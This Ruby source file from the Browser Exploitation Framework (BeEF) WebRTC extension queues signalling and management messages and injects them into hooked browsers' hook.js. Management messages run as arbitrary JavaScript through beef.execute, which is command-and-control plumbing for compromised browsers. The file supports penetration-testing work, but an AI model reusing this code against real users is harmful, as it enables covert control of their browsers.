#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#56# A lot of this logic is cloned from the requester extension, which had a sane way of sending/recvng7# JS to the clients..89module BeEF10module Extension11module WebRTC12module API1314require 'uri'15class Hook1617include BeEF::Core::Handlers::Modules::BeEFJS1819# If the RtcSignal table contains requests that need to be sent (has_sent = waiting), retrieve20# and send them to the hooked browser.21# Don't forget, these are signalling messages for a peer, so we don't check that the request22# is for the hooked_browser_id, but the target2324# This logic also checks the Rtc25def requester_run(hb, body)26@body = body27rtcsignaloutput = []28rtcmanagementoutput = []2930# Get all RTCSignals for this browser31BeEF::Core::Models::RtcSignal.where(:target_hooked_browser_id => hb.id, :has_sent => "waiting").each { |h|32# output << self.requester_parse_db_request(h)33rtcsignaloutput << h.signal34h.has_sent = "sent"35h.save36}3738# Get all RTCManagement messages for this browser39BeEF::Core::Models::RtcManage.where(:hooked_browser_id => hb.id, :has_sent => "waiting").each {|h|40rtcmanagementoutput << h.message41h.has_sent = "sent"42h.save43}4445# Return if we have no new data to add to hook.js46return if rtcsignaloutput.empty? and rtcmanagementoutput.empty?4748config = BeEF::Core::Configuration.instance49ws = BeEF::Core::Websocket::Websocket.instance5051# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.52#todo antisnatchor: remove this gsub crap adding some hook packing.53# The below is how antisnatchor was managing insertion of messages dependent on WebSockets or not54# Hopefully this still works55if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)5657rtcsignaloutput.each {|o|58add_rtcsignal_to_body o59} unless rtcsignaloutput.empty?60rtcmanagementoutput.each {|o|61add_rtcmanagement_to_body o62} unless rtcmanagementoutput.empty?63# ws.send(content + @body,hb.session)64ws.send(@body,hb.session)65#if we use WebSockets, just reply wih the component contents66else # if we use XHR-polling, add the component to the main hook file67rtcsignaloutput.each {|o|68add_rtcsignal_to_body o69} unless rtcsignaloutput.empty?70rtcmanagementoutput.each {|o|71add_rtcmanagement_to_body o72} unless rtcmanagementoutput.empty?73end7475end7677def add_rtcsignal_to_body(output)78@body << %Q{79beef.execute(function() {80var peerid = null;81for (k in beefrtcs) {82if (beefrtcs[k].allgood === false) {83peerid = beefrtcs[k].peerid;84}85}86if (peerid == null) {87beef.debug('received a peer message, but, we are already setup?');88} else {89beefrtcs[peerid].processMessage(90JSON.stringify(#{output})91);92}93});94}95end9697def add_rtcmanagement_to_body(output)98@body << %Q{99beef.execute(function() {100#{output}101});102}103end104105end106end107end108end109end110111112